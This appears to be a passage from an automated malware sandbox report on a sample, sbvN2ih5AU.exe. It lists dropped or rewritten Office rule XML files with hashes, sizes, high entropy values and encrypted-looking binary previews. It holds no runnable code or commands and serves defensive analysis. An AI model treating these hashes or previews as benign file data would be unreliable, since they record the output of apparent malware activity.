Preview:	.<?........Ws.#`..g.c......"...`{ ULY<P.. .G2..'..'M.k....?m;O....h..-..f.....KX!p..+D]`+`...\|\........m.y..k.1....W...;..!.8..v..k.9..[...t6l..Z.0..Z'c..f..rn.-.T\|..$j....!./...lE.Y......q...fu....n%.Q.\._.."U._..s.9..9. ..t.$.(..C..v.U\x^}.AW..).u.6..3c.!x.......zG.<t...\..\3.9.....eg.J......l......svg..$>....:#....h"%....J.cc..P..[....H...y...H7.Rx.B.!.0.9e....n....8t..M1.l.....8.d..v.-z..v"...A...X..\|..fz(..................G.......=..h........_.d.O.}..`.fl.=...1=.P]r.c......._...)>..s.-...0.)..6.....Ni...r{v`@.........J.........j,i.Y7fL.L........;.T.....AmO.q..+j...r..8`O..s...S.o......m......t..6....bS4...wUX.'..2.$L.v.=~......W...<.h>..9..}.....@....~Iet..8/6~9...+...Of..y. ..>.A.....c..=n9.K3..* ',..M K...Z.. K`..4........3.}.4l........g8>.......;....v.W.L.K...h.u.q........}.y.';......ZY.{.[.P...+.w7....S......A..H..Q.S.....(.......2....%......[.}m.P..a97.jC..H.*...K.GP.c7Z.pv.>...$E.........K..}........J.:...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule703951v0.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1737
Entropy (8bit):	7.885744264742016
Encrypted:	false
SSDEEP:	48:3877hQa2ckOHK5gTnyvXRfnZpAP13lnxO9SD:M7uikOq5gsXRfM/nC6
MD5:	440329E5C071F9C1271510FA0871D89D
SHA1:	59417A23EAAE58758105915792C4AA3C82988A15
SHA-256:	AF5453C0B8E303E2B45DAE8B3EB193B9EC31DC4F2F77AF7F416DA1C8F65BE807
SHA-512:	B46CFD506E8F75AFEC8F00E9C3CA54E97106BA6F373FDFD6B0F3C7621FB924761864ADD6A4D31E5B2432E7881B8456691E0C87CE7C481C8F6F6F96758EA088F4
Malicious:	false
Preview:	.<?".rwi.......98?....0..Z.V.0o.c.px..5...q.{...hk...W.V.V..N@P...:..`4.u.@sGD4`)F.O.f.qK,.<..#.....^(......B.+].ZL:.)...2.{OB..`1..F!.:^l=$%.Zo5.D...&......Q....IP,90......'.CfY.N......w.%B.....).%......eh..v#...dQU.}a....\M.E0.X.u).:..m...<.-.D_>..;...e.L#E.`3lC..fe.m&8.dG........W7c].3."Q.M.t..............gv+..\|=".4.T..l.T..k.=.b.0...Y..y.......#W.Q.Y...<....._fP.j......Y..=UeK4..w..pw.I...t....C.R......x..,.?....HJ.X.;..`..7A...S2L;.w...=\......U._D.+....v..i.<....L..>D.v0.=...L..(g..Q.^:.V..C\nm..!"w._.a<.u.o5...j9.v.h..6.K..+g.*p..#6........R..s.r...,.B=&.p....;...S.1.N<........8.N...J.5... .B>..)...j......./..B...1...I,l..U..{.DF.TZ.M....U...P}[..K%F.0jh"p.....I&...s.....q.....O.#y..;V...._..-...)Af.w..!cUv..+.x..{...U...'..e..;M..[OU.dJgbf/..4.O......Q[...g.....1..j..b.D...j...&:(..../........#....]b.N6...".M/c_.3~......t9{..)..4...v...=C.".h.......L..lH.J^.$....;;..q..A......S.....$......k.y....=K.k.x..n.j...^.I.Y....#U.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule704000v0.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1716
Entropy (8bit):	7.8820375661640245
Encrypted:	false
SSDEEP:	48:a8rfd9Oi+s8zu3pcIFfZtaQkpPTnHyJIN5D:RHHIuZcgnkRSA
MD5:	75D4F46A86359507E55E3CB821E1F3CF
SHA1:	3947C6563BD0E2B8DD10310116FF5E2A1CC75831
SHA-256:	05AAF22ED9B1D750524BB93F4A36BCF9692F7EC7F2B0938578DD8AB6EE928768
SHA-512:	D290635207E78D4EBCBECC00E4DB8FD8FC34C94EE40D5A24A1BC13153D419BC45F3F83C743B96736610FB360459EE3A4EAAC98554C3CA5383456C541834FAAA3
Malicious:	false
Preview:	.<?........1.....X.O..o..!......:f..}....f..H..s.....<.A.K`..{HL.T.-0..$..U...B....z.F...s..f#_wI..r^e..).]c.`.p.g..8..e..[.\|.c.l-u.....(...>]X..9m-yt........g....`Nw....,.8.7.@..c5W..#.C.ua.2.-.]...}.c.E\|4....f....9w.c...Y.....X...........#...~~.5......=63/.&3........$...b..BK4.;..s.Ar...=TDL...O.s..H..fw.iW.b.q.....-..C..2M....T7/.%.1-......i..1...@.....(..+Y......;...w..V......2..Qy.....\|.$.26.C.SU.P.\|[..N......%.......PHO..W\@'.H......Y...1.@.M.c..H.....@.?.-....Cw.O.....o.T..I.G......v8j.5 i..3.[:..x^\|.&~[!0.,Z.~.8..t..V.;....\..../Ct....]...,c-.eaD..p.D)..e...................Kb..H.F?a..n.0<...'.x...W...z.r.?..9$%..&.....Xe]2f.._.......@.u<Bx.......O....Z..'...G._.......w...?{k./.4.a3....+F.5...E.x..9?.M.w"i5.......y~...J.7.o..m.b..Zx.Q.$eH1...v...)....XR`.,.z...P.u........!ui..{....>.g0..).~..r...^...&....zu......y.<..d....lU4(i.`....Y......$..`........(.{..6&...M.M'..%.A..L~..=...d.....A.{!.)W;.L.....;....@b?..<..~..=..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule704001v0.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1753
Entropy (8bit):	7.87894763657621
Encrypted:	false
SSDEEP:	48:28dL5OOqiMgrWr0pq/GmF/st7Rbk02bx/78tlnUD:1MOq+rWr0pq/X+tVk/bF8tlnA
MD5:	CC2D212FCB5425C68D38D775857BB430
SHA1:	0440204F3CC38670EC2FF2FABBC3FBFA7DB92441
SHA-256:	AC127C539AEA8D198C199D3B37EAB0ADD0A54C135E361B16D9F82A1CF91F0AE7
SHA-512:	B79470F7CAC7546AC582E4A046DD016B620AC4A141F5569EEB2300E543610161571066A28BAD43BB459900598B74EE4C452FDFFAF91EA4B12B595F9C5B3B71BC
Malicious:	false
Preview:	.<?.51.....<cpI>..O.N.^E..~Z`........u....m...Zy...#...-{.\."..R..F...^.'7......D}6..~..a..e-......TI..............l..b.H.C....."H#\|.....A...........^2.-e..... ..."..n.?.B{.z3.L.z.:.t..Q..1k......C....(e?_i...:..uh.zl.\|Y...$.-y$.....a.....Q.v.N..&5...3....c...$].<.,....P5F..H..L2...^f....U.j...F.i..,..J.....p.u......H....::$a}.?..B.ha..#..&.1p..G.='.Y$.Q.tA.B..6..O.....X..I....%M...aR%...B.g..j...j.t...e...io..Y"}'u.,....C.w.i$..N...Q...P\|.3y.6.[...\|S...j.BU........1S..h...Q...8....2E......M9[U....v. .....rD..u..........^}...~..E...A'.)...7`.^..yk`.2goJ.;.#.....W..Q).K....T....K..U.....G.....:v....&.'Y....u..9..>l.I.}..H.......[...1........k....n..E.....Qt.(_..r...H............E#Dx.%pQ..E.k..\..7..O.*.5.......S...AfEp9...]r....\...dk.q#..()~yLG.\J.....A.k..x.Gc..]..$.=...<...%..$(.....l.....9..[LT.i;.^}.P.).pQg{.0..KZ.lp...7.L#.....X^o.$f....n"..h.........;..M$e...,#...i...&..G.;!..s0.\R7.?....$.....\|(....!..M.B.f'....;....c..-.......=

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule704050v0.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1690
Entropy (8bit):	7.884404061046039
Encrypted:	false
SSDEEP:	48:1u7h2chwjTwxz+esD04THH78xFXHsvskgkX/DD:1u7h2c4kB+esdYPXMv/g0
MD5:	B6F72A2AE1D27A5AC8ADA0C58B78BBF1
SHA1:	B88AB84F7C2135D3C923E0AA91AB1914D6837F9C
SHA-256:	873D6BD019CFEC922AB25EE2229F013C0323F157D420F00B6894B1CF26718C2A
SHA-512:	7BD98C650B6C2F914E7E49AB2574132C0599AB07581D8A0DD7EE9A7F03511C6F74EBF6730C5B0E35839426E45181500712324A013EC1D55A6821839F355CCAEF
Malicious:	false
Preview:	.<?...y.6.._..0..3..zeQs......;LK.c.&.xb..C(Z.7....Cg.$..h....J.#W.....M.S.z....L.A...dQ.S.1.#..=.OKu.....r..tA!..$.....K..d...KqJ..5...P....9VVV..~.o..aJ.h.K.mZj.~...[r.M.P..&.z..un.wL.[.K..%.@....!.......j...i..[.%..Z@...6......7....N..........+..pi....D..])-G%..c.K.%...G.s8........8x,..kH.`.................;-...^...a..6..EQ `.m......F?..E..d....J...O.C.....@h.....Qlf..L2....._][r...n._.x.......C....F..C.AI'.<{.q....l.?`n.....P.v..iU.I.6.:....x...i..`[..k.XK..sw..!.....hJ.?..4..Id...w.n.\.+....vZ......d.v...ls..t:l........g.*........^l.. ..9.I.T.....z......n.p.^..q.1"R.%&.j$x7...{c....'5)....l}.=..S.....I.....o.6..%~.m.:Iu/J....$.(a\.S..Uu.m.L.......!.A.h9...n..y....P..fg...w.F...57....}D...9.sTT.:...9].c....r.?Ps..2.J.H..cp.x.Rsp]g.:Q_.'b.........."..c..z...gLc...: .8.J l...M.}H..mH.[.D.f=.8\|..e..V.....$.>...k....+.....(..n..C!..(...K....0mV..d..{eC.....~..jm..B.........e.4..`k...X..q..............".&S...F.A.e65...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule704051v0.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1727
Entropy (8bit):	7.881006859059231
Encrypted:	false
SSDEEP:	48:LjFU8gqz7p2QGXWlXRiYrchiUEMCsUu4qpvEM2uxG759fD:LBU8gkMdXOiYrchjEMFtEM2LN9
MD5:	85298E9DABEC7F8F8B3F4B41A735C0FF
SHA1:	09C4A4393B5C0A62F2EEE69A33912458396BEA16
SHA-256:	139922024E34210BF65C564E3BEA688830354D01F924C7DC8993AD25694CF78F
SHA-512:	E538E28E96E200C6B6297882606B957B955671EC6AF65AFCD16323079B241D7CFCC1DDC746076FE430C409DB976E281CB2F8FD7142B9A60E3C0F66AB60A59770
Malicious:	false
Preview:	.<?xj/.....~)>..I..\..S]j......j.l.9/T...<..BtXTt0.-.={...=.e.@~...5..k.v..p....7P....J..2.y...2.nB\|p..B.9..K..[.8...(....\..4}.....Z.!.OY.+H&.o./.4.....?$e\|.^O{.p.8....Q..` f.......M....2..y.,....0azG.......G...[...0$.).=:/s.1...."/.J!......s..]..........!.............U..w!.cv6.n.1?+....6(O....y)..............@4R..G~vZ6.....%..%.~.I.(.....\|.+'P...%...p.e..Ms..P..(.a.....y..........8y....{.+..Q.S.>....m../E...$...3.d.F.'..!.Xl...hl),..8wtc.KkN.......4..o....m....TJ.... q....-+'c..s/.k.M/d+38@.}@].../..t.....3S.7*Rm.._de=.S.1.d...3.^.p..A......H......q.9.\|.G$...2$.$....E+S8....i.&k[sl._.Lv.j.!..2.....nd.N.#@b.~L..,.9.$.q&.\|....v.7.r..kW..4../$.d.].A.......l......v,..">..R....J.;.......x..O._m.\Yv\.?.....E.!...1.]#>.........jwO.e...Dk!h...Kb.`dW#..b."..XO.f....s#..mz...3.\..=.H.+.;..E..V.deJpzh..XA.........f...p:.`pl.d.`5..+l...,.[...;z..+...q.....".#.Gb..E..@........9W..L..y..fdy...>.?C'....]@1.Y.hT.l.n.U1.`y5`.._...$.gP......

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule704100v0.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1696
Entropy (8bit):	7.877250069109571
Encrypted:	false
SSDEEP:	48:YCOJfbLG+JbOTG033OfjSFyJwJGO2ayVh3rlxZqTINFD:YCe1yKjSwSJ4PbV3
MD5:	E4C5EE3251E4AABC57701CE41D69461F
SHA1:	09BBC672B4D18FF7CC04B1071127AEE676C55980
SHA-256:	55BD96FCF9FC302C9011865E27B49D1726CC1EAE9D629DF9110FE85EEC2E9FE2
SHA-512:	63E2D2D059B08CDC02BC34F7E4FFE4BEC93EE59CE82396E3988F38EBFC3BDD381F690364C9390D9F46F96A7D96872C8A049FDB85C5965E49ECBFC64952B255C8
Malicious:	false
Preview:	.<?6....C...$..i.:..YA0%.....c...T.^#.....{.A4`2X..HUT,.{...t...2.IH9.c..../......`..5.N.x1.k..?Q.o...`.n..,.N...^..=..Xc...f..Q....K..&..d$..H.....lF.:cs..w..,.rq.qz4#W%.%..uI.R...Q.Cv..i..8...gM..q6.&..+..}.........w...^..........,...fw.F...RdH..F.'6.\|..3.<t.SD+.#..b3.....VZW.H....X...L.A..X.nfV^r.........".x1.._.....:..T]..%..@..z...X...o.9H2Y`~.P..2I.vx..ZJ.5.,'...6..1.z.t.&.3..N..bV..........2.j..6(.n..<.../&A.I...w.E.9..(...w.RE:..d.Z.t......1...nH.CIN6..A...c.hU.v^../..K.l {)r...^.$.H<..5hKk...u..g....\|...;C4..;.<.+6.`..gT..A.w.9.M7e0..L..X....+......>d&.u..&.!......?.h..Q.)&..&e....r..^SLb..`&.....r..k}C..OZ.T....c...x......,(9..1..i....;..............\..l..^bk2R8..V-M^IY.-....X..(..0.._L.i...Z....t:K....5....l'..F..W...V.\|..~n`....bHP...g........!.....@.......-..V..%._.."(.u..z.p......X.B.......g.D.m..A_..Z5...f.h.....;F.\|.E9..R.(.z....V.b..w`Q.sFfv],G.r~..-=.u.z].O.\|."..3..Th dM.{....M....w...e>.<E....O`..n.S..j.}..].:.*4.3q...!kP.].R.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule704101v0.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1733
Entropy (8bit):	7.895276860244423
Encrypted:	false
SSDEEP:	48:QeqqU5Gq9EDWPGjJQkFTJbm4yZipZBo09yLHFX9D:7qq30Gj/FTJbmvwpLf0Hj
MD5:	3E5C7D44F2F46EF0DB88934443927144
SHA1:	720FCFAC3E0D908AD0FF53761F28A3281AB9B8D9
SHA-256:	6D8C9493F7B7F94E9C0FB70015EF59E1B6198CAFC13C53A97D97958537500F46
SHA-512:	885570871F91AF0EAD000ED2E1901B33A1D6E0762285C6B5D1D64F456DD924E9CC4790ADE098C0BC3F8E1B9F1357C77E979A908C99AAA7303DA62AF245D79DF3
Malicious:	false
Preview:	.<?.$. ...w.:.d....Q.WSP....sT.....~.>NZ..?j.\|.I.y.........F[./.....}:..&yM..:.j..Tv....+.0A.IW..c.k...Y<s....w...H.R....).....zW..WtL..<..7.q.@3......W..[..t...8.0.d\....D.@^.Y.....h..E&.--...R..wmW2V#0#.k.cq....7x.~j9.x.NJ.(.T...6..f.U+i&.W.z..^....p.~g.e......J....:..J^..R.DX.1...<.....q..9.v..=[04K/u{K.......wu.dZZ'.>.V..u.....c...........%.o.>....F.].5U9.......0..sC,.._.........,w...>...`u.P...{G..h...\|...P..6.....9.z......t+4P...>...Z.22.+.z...?r.J.^UY.w3...=..@R..c.]%....H...?...`........U5.].#..@.Lh?s.q,=..[.Y...8.T.-.\|.q..e.\.o..r.f.A..D.y...l..b..s.)D[...@.V6.....R..?..%.xb:T$....j.R..U..`..%...f........(c.(.u...'#..........w......68vd..k..,....+x'F..#u...o..Gx...n\.=...B/.....C\|..m........b.J.=.+.?\C.h..a.l/.G.`'>...e. ....si?.. ..e..n.IW...QX..\|?:.... ._p.y.x.B.db.........z.....eB.lx...x..!.0.I.._..H..I.<...w.a...D..(~n..L...W..@..`...V...dVv.....{.X...%..&...zB.0.IM(.t.~DK.o.FG..6._T..'K..t1-[.8.....3..K...w.=!m.\|...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule704150v0.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1696
Entropy (8bit):	7.891710009253427
Encrypted:	false
SSDEEP:	48:RdYMYicvmW20lqEuVt0c4H5OgyZ3kHRHO6D:zhvW20l0z0R5Hyt8t
MD5:	424F33EC5DD50A358B55822226EDEFDB
SHA1:	B2DAC9F5AFC9C82DBE9238C1E3BAB5708CE8C6AB
SHA-256:	ACF6710C7D4AA733EB6AE6F71EFC29B8543400A3342AD8CBDA47693E9ED777FA
SHA-512:	8EBCCA2F5D5003D260D89444FB8083B47B44BA057C03D86EBF96847577C0E36D76694E153CD000DF5EF8AB4D87BF8A8A9767FE292A1ACCBF4524DB918127374B
Malicious:	false
Preview:	.<?`..............W.hy6..X..V.Y_..j.P....i.......P..J......t.....{.<x0......,....j!9T.6..~........'........?..Z.K..}>......f\.u.h..`........cTrfI.].l./.&.l........p...l...&>C.{...?..F2GUAm.5]Qn.Ql.?.F....e..UP=..1.9:..ic4s._...Q....KJ............!+K0.@.......2R)W..x8....P=Re../.]....v....I.X...?.H..f..s9...[..].?>.....d..d..=X.....g..<-.d&...F1.....L...}.......du#..1.......62.i$.2t.k<?.ve.../#.v....Rn............^9..n.....X...y..LU.`Q..wv.\|.8....V.U...X....X..x...K..fw..}p........FFy.~.F.t.n....!7..&p..7^..Q.mku.v.\4.+3O .Ex......<....!..^7.E...!}h.ip.1......L..S.UHW...m4.}..;f./.S.V.2.1^B.^.)...........SU.$......Mz.....L....J.s.;....(.`.".8,.:....rl.%.N...;....$..Ec...o.."....}w...).\|..~..T.,.c...w.r..U...AQ.].....so....n.P@4u"./....gDt..F.L?.ZY.v3$.H......t}&v..@....RE^..?..v...b.Jp.C..!8n...$>,.9;s@nX...A.aR...*..R.Ly...).P$..........L;.+)'-.#.....Ch.](.C,wa.....;G78...k(!K.~............3[\|J#v.8..y#...ZC.W.\}.Uv&..x..S.........

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule704151v0.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1733
Entropy (8bit):	7.895956471035502
Encrypted:	false
SSDEEP:	48:r0tU8wnglxgKE8q7Bis5Itm9ZYxSj3ZQc3jwMJ+HD:ryU+TM8q1isGkOxaZze
MD5:	2F45E453D7A93FE469D24874206E46E2
SHA1:	A5B82203182AA4E7907EED558E74A52F10BA09A1
SHA-256:	F3B337AE28D392CAA89D020F2EEC1C4D99D5240F02792F4CA838835F5C5A66F2
SHA-512:	35034F4B4019D235F83308C4AA8BEC8E8D70AF4A7C83616D7B76ACFF9CAF859A15AD0F2947E9360A62D7848A8AB06E9F6A937969FDD183ABE2DDCB0E34C39DC9
Malicious:	false
Preview:	.<?.^.X=d...V G.@..7..oEi.5v....RTL..P.u......ty.....vdxN7P...O......Z.t.M....ESL.7.....W.LF..~e...^.D...S.....b....Ju.O....>~.O..].H...1...,.p./\.=..aG%....H...Kr>g..f...s.kId.]..n.........wPL.r...?+D..=...W+T%!P...2..,1...x......c!..9..j...l$......d.F..^K..?......^.I.}...U.EO.."...y.B.Tz#.L.%.....o$..=...e..w......5.0V....X.T3@'t.BS..2..UdJ."/...\|.$.<DK.q.-...H.^.H..pL/....-:...n..G.[C.TS...1........rcK.h.b..1[1.]..EU#.!....mJ.y\35g.}.t.M..F.(.>.H.4.....fC.aiM..CH....../.j..H.}..@..<...9..:..=....B..g.O...N.x=..mY1F_.:6....+..d.fU..\|.-A. ./K=I.$...?\|...pS..5Ls.q..%X..u.nRR.....-.u.q..~a..o.n.G..\|.Y1$....w.s..b.vX])}Z..m+.k...C...yc.pj7.....F..8O...j...$._L....[......i..T....M........)W..u4..Ov...Z...{....&4.Q.r..E.~..P......,......N.../%....$.o..L<.&.7R..........L...r.5.z....9.7..........}]...C.n..%...-....a6.2C...N. T..pU....N......^.x..\....h.]yjy..`...MDb.9.(.E....!8.u_.h~%{.-.\|....f..X....Xe.Z].X.".(#-....l.aPZ..x.u....#.Y...L<.VHP..PCx~Fm6P&

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule704200v0.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1714
Entropy (8bit):	7.869493952110221
Encrypted:	false
SSDEEP:	48:Dh1FRGum7mSiNFOGN1AHEzIzQfZcJpo4QRSyUMD:l1FR4oFOGXa3zQfZcmRSpo
MD5:	B88CECBB894C9D01EDD812328593ED0A
SHA1:	12CB3260A8785D87DC005D9D88070F60362348D1
SHA-256:	083BC97187D7A2E9E4BED7021B6EEF5C260DB65A67FC03EC5F5DFB558147CCFB
SHA-512:	62965C27709A928C11461E498EBA8CBF29D9422D59BD788F3BB2B48A175F992057AABF51A2C5E6F7A4357103F0F15B33EA6B9DB80C2C5541E0E72AD0FA483636
Malicious:	false
Preview:	.<?]\|..b..d.Mz V..<z....b[q.......\|W...HbY.}[.">`.....!y..:......p.1b.wj..@........p..V.k...)#M}.Q.2S..^...4.b $l_...}.~.......G..}.b...t.L....`.......C.-..[..Z..p}.kxXY...$........6o..&c.....q...nw...n.WO.B>wO...&...'v..Y...op... ....L./...>.ah....Peg3.....vX..1.j..q.\&tV..i.....QB.zt...j..l._."..z.xo..W.9/......)1...W.....o=k.XkS.79uZ^.@..,...b..->......;...m3.Q.. 0.#..ED..`...#...d..=...T..C.D. ..s..(-..y..'....,....b!...........;.n..Y..U.$!.){..`.t..O..A......l$...7!Pz...@.....6.R...R+K..c.....5..gp..Y...8.~;..\|.".u..^2..b......h..@y....[..[...~A...#.~..,..l5k.e93....+..%5.u..L.{.....B.H.Q.qT9&.Lz...?&.......0....z...J.l..2}.........`....Sc>..y.U.Z....... .r2m.B.N...b...~....{x.p...\....!yK...<.JtS.l.....C..~.\|..[....,J...-?......&..z...\..I.[...E...5[..0......,h."&Am8YJ\.d..d.vsXi.l.......7.l......6..F..r..me.WR.r9..F.pN.H.9i......q.L...i.t.'s K..[$b...q{.s......4\....}..&.v.(...,h..A.{/z......G.F......wM.m

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule704201v0.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1751
Entropy (8bit):	7.87586165112967
Encrypted:	false
SSDEEP:	48:/JjYAOltbN3HvS4MKDDsM7a4LlIhIAEEguuWS2D:qA4tR/RB7aDhOqb
MD5:	5474DABE6C54C6070ABFB7E5244837B9
SHA1:	A2702E18EF58CA6E818CBBF768F60DB71A3BCFB4
SHA-256:	39C39E0DE8AAF606B8B0C88ECE96EC47FA7B9B4697C54A7C352CE7D89D742BBD
SHA-512:	BA1BF24DE845037E51E050F4F289AB77B7CEA6D5550994B6E4FE0F5A791E0F877213FF5AB0928A8D44D5EFAE17C24CA46FDDEBFD6B143928E567D3BEA3C374AB
Malicious:	false
Preview:	.<?8.}.1U^./.l$t..u6mb.M.e......r$F{..6DR...qG.W,.`....Dq.`.A._g.f........>.~.h?.O......S..,.\"../.z......' .!....R.....Kh:...vld......#..g. ..m0^.yf..r~.R.`.(O...V.G....m.X..,-B.#.PG.v:Y..X..kl{.5.>K..73m.\.<^..!.P.e^.....{....=IGIG.gat...d..M..)9... ..J......8...sB......).g...cm.E.....-...x.Cx@.+..E{..2.....z.m...m?Of...:8....~...G.;.-..0.s..)1...@..\|.R._1..leq{g..#..qe`..%K8..{4(X..kT\.....g/.}..=....};.I.t.#?.......LgzB(..........AaP.I.\|.{1;.f_.....~...=.....00^.,;.g......1.{...Ve..x.K..{jq.@T.....h.'....}K..\.....O..E6!D..@$g"..q.....T.3........(.ME}yi.o._8.../........T.=..&..;...J....v.1e..+_K.G....3;.o3.Nd.../.....d`g.3..k]...c%-....q.h..o..........%G...!1...il.$F.I..5<(.zb.%..?....B...iXiU?^Oy.A ....6.<f.t..Q.G.1.9..]t$.i.vB..=...Ks..Hq.........V..s..e..(Q.Mm.i...,.... ....V.k.{...+#b...O0.v..S..7...Tk/B...\.'...2ON..I.en...@... .5.....Q.yz.....KS...*u....V(?. ].y.@b......'V}.......\.K......}.x.vD;.B......M+1.\.a..R

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule90401v3.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1583
Entropy (8bit):	7.864948193133364
Encrypted:	false
SSDEEP:	24:Th53zsEYpEyPrY7ob2DDvYPjJYDU4wYTU0w0pRDqw2bbcNQjBt2bD:T3s7I3gPFeWYI03mwtQ0D
MD5:	14CDF33CBB0D58DE80DDCC859842A38D
SHA1:	1E91884D9D82010570CF9900F93090D7CCBF55C7
SHA-256:	D918C72C495C4B554101A33C64878D5015F5FFE4CB98E39DB1AE25C17041B00F
SHA-512:	0E0EF853EAC71C8365AC74DD61DAD2AA730C511E5BA7DF92FB974BB7B4B24425ED4A188F105A4606CAEE681502B298DA39E14051A9680B087124003512E40820
Malicious:	false
Preview:	<?xml.G..P.rI<..-.....S.c..h.l;n..!M...?.Y.D.H.S[..........t....._..p.G.6.w.;S.t.8ON. O.TU.P(....-.)..G.e.\1l............GiE......O,.<..-....<...'.k.......\.;]....'.f.U\9...]..jQ.x.$.../.$CL..P..vN..O!`....H_O.x...R..z0...;...R5uA.'.A..!&.B.}b...i..pt1g...Y..p...9..{_.3^.h..k&..k.4.....>n.?.eAc.{.B.]..^...\|.>.oo.f...'.3.q31.!y..xz..t..4....... ..../.FF....wF..7sS......t&lq..v^u..c..Z.`......J..'..F`'f..=.... ...h......4...m....'....s.......k._...M.r..)F....].G.h.....z....Fs....(fY.....Z......I...!....Q.~[@M......ZH.K.9.7 DH.`..A...@>.N..[....2...'.hI3..r_...N..~...W..\|UF....2.UT...Zu$.k}.^&....7r....t.$.x....q.n......m....l...X.W..q..p}..^Oh..9..1.%P...'_......{.j...,.......c.(.h.....X........}D.S..c..2k.V.P.J.-.V=..s.....).I..;....._...\_D..%m..X..WYH/..,...(5.O..B........j.6#.m...W3.Lmb.....v......F......(..]4./.]`...(s..&v:.g{.l....1.....{gxp..V..F...4.KQ.4........]..D9.@..R.u_.9...T<..If.R....I.n.....&yNe..$....$...wY.^..]e.......

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	361051
Entropy (8bit):	6.513520893551737
Encrypted:	false
SSDEEP:	3072:H0AWIMZL9m/cbirnba+E6yNGMJbfJH3vhkrJkwRq8zDRMpWQVFSwZiwj:HID3mEmjdEDfnHJj0DRMuwZr
MD5:	01FC66F409C91BAF1C095F3F4348A1A7
SHA1:	22E3C1E3D043C1891412730903CA3746F49759C7
SHA-256:	4CB81154B2AC23DBF41B897E7B725605E4896B22E5EF4293895FDE84FD74FE19
SHA-512:	AC927BE33B32257471CB72C4DBD82A68A76A0D1A046956C002F5DC7FC74F28894523B604B107089A45ED0373048793DF3CA5B7DB0FB60E5299F03DCD21A6F957
Malicious:	false
Preview:	<Rule.Zo..i...90.e..8.Fo.....X....I8..M..T.C...o.c.g...........C.h).m]...8f.v?..o...\|.....1.K].Z z...Zs.....F..G.W.d.L.Qdx..")...........#l.q...j.P.f.uoa.8.:..ky?g...d....M.w.Q3...........fg.....kzv....Xq.zC....A.]l.%.oPI..;X\..@e.........ho5...a..7j...(X.$+...L.l4/.z-N.h.q\...h!c3...%o_u~.=.w...=.}.b....f...Pir}.<..ZG...y+NA..1oDUV.2....(8.q...;.}.b.\.P.F..P..>~.....&.....^...>...'Z..g... (M.3..h...].~...8.v.:..k..&.IRV...W?..;....d...p~...k....(V...V.....E..f...7....D^....Q[...Mtp.R...v....C....%....q...g..f..f[.!...AJ;Uu.xjD.... Q.."b..u..f.9E".X1)..t.9..G.0C......WD@.=..}.7...8..a..........$..tw.OX.+.LB ..3mn....Y..yW>..x.N..~.\|..c^f....D@J.......,/..PD.....T.a.....tRk.E...wi..z%..X..fX.c.8}..r.....7.2...0...".$..T}...auQ......%..%...Nr..b:...6..U.....~K...F.G..>p!.!u.(g@{..5k...'..a.w..G..N".a...r.\|.&.Dl.j...3L...q..!..I..%...D.../..'..?..\....R.V.6..u~.n.=2........Vz.v....q..k.._.....8.Y3..c.H..G9...o.+r./.J.Sy.l..i....9..5.....>.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule1000v5.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1928
Entropy (8bit):	7.901936842585669
Encrypted:	false
SSDEEP:	48:HiXz/Bor/EOZFOyEL4Y1ZvbQM4zfZKvf8JPwVRzu35ZD:yK/EOZFl242v07zUMJAR6R
MD5:	1A5416260BE4790AB346E63D014AD158
SHA1:	B97BA2EF91E8DEEDC62E6C4446E0581969436E4E
SHA-256:	0856C8CA50EBB3A39EE8197A544C9C4E74AB55B4C6B5085A8A285D4AB4E794D4
SHA-512:	BAE08023C5D73918E9BCAD0B4D3FC42F63098A5FCDCD42EBA4093A5F0CCC04667C150C48A4502F6D4E43ACF1C8A18D8492699FC04D0F2084833BA5E82C25EC2A
Malicious:	false
